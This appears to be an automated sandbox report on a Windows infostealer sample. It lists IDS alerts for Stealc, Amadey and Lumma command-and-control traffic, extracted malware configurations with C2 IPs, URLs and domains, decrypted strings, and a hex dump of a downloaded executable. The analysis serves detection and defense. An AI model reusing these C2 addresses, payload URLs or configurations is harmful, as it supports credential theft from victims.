ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:17:30.832612+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:17:31.929544+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:17:30.940730+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49699	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:20:11.546667+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	56483	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:17:30.419570+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-11T19:19:20.733017+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	56458	185.215.113.206	80	TCP
2024-11-11T19:20:06.186454+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	56479	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:04.884133+0100	2856147	1	A Network Trojan was detected	192.168.2.7	56450	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:11.068056+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	56451	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:07.731323+0100	2803305	3	Unknown Traffic	192.168.2.7	56452	185.215.113.16	80	TCP
2024-11-11T19:19:12.460480+0100	2803305	3	Unknown Traffic	192.168.2.7	56454	185.215.113.16	80	TCP
2024-11-11T19:19:21.184009+0100	2803305	3	Unknown Traffic	192.168.2.7	56460	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:17:32.494968+0100	2803304	3	Unknown Traffic	192.168.2.7	49699	185.215.113.206	80	TCP
2024-11-11T19:17:52.687536+0100	2803304	3	Unknown Traffic	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:53.633895+0100	2803304	3	Unknown Traffic	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:54.214626+0100	2803304	3	Unknown Traffic	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:54.617593+0100	2803304	3	Unknown Traffic	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:55.477609+0100	2803304	3	Unknown Traffic	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:55.876929+0100	2803304	3	Unknown Traffic	192.168.2.7	49794	185.215.113.206	80	TCP
2024-11-11T19:17:59.133513+0100	2803304	3	Unknown Traffic	192.168.2.7	49929	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:20:12.283466+0100	2843864	1	A Network Trojan was detected	192.168.2.7	56484	188.114.97.3	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T19:19:20.059151+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	56457	23.192.247.89	443	TCP
2024-11-11T19:19:31.342662+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	56467	23.192.247.89	443	TCP
2024-11-11T19:19:57.567920+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.7	56476	23.192.247.89	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.phpOR	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php/M	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpSw	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exee	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/off/random.exe;	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.php_M	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeGce	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpcv	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpd	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php;M	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpeSE	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001C.00000002.1680674491.0000000000651000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 38.2.1017b01294.exe.270000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["scriptyprefej.store", "necklacedmny.store", "presticitpo.store", "crisiwarny.store", "thumbystriw.store", "founpiuer.store", "navygenerayk.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}
Source: file.exe.5900.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: scriptyprefej.store
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: navygenerayk.store
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: founpiuer.store
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: necklacedmny.store
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: thumbystriw.store
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: fadehairucw.store
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: crisiwarny.store
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: presticitpo.store
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: presticitpo.store
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: - Screen Resoluton:
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: Workgroup: -
Source: 38.2.1017b01294.exe.270000.0.unpack	String decryptor: 4SD0y4--legendaryy

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEA6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CEA6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.14:443 -> 192.168.2.7:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.14:443 -> 192.168.2.7:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.164.15:443 -> 192.168.2.7:54238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.7:54245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:54265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.7:54297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.7:56457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56461 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56462 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56464 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.7:56467 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56469 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56470 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56471 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56472 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.7:56476 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56477 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56481 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56482 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:56483 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1611667320.000000006D0CF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1611667320.000000006D0CF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 2018142c2f.exe, 00000025.00000003.2423298037.00000000053B0000.00000004.00001000.00020000.00000000.sdmp, 2018142c2f.exe, 00000025.00000002.2500019865.0000000000DA2000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 29MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49699 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:56450 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:56451
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:56453 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:51545 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.7:55240 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:63262 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.7:51932 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:63630 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:51530 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:56455 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.7:51992 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.7:53208 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:56458 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:56459 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:56463 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:52533 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:62569 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.7:63983 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:49567 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.7:65157 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:55225 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.7:53497 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.7:61767 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057101 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store) : 192.168.2.7:62182 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:56534 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.7:60979 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:61220 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.7:54843 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.7:64281 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:56479 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:62978 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:52197 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:56457 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:56461 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:56461 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:56462 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:56462 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:56467 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:56470 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:56470 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.7:56476 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:56483 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:56477 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:56477 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:56484 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:56478 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:56478 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	TCP traffic: 192.168.2.7:56445 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.7:54232 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:17:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 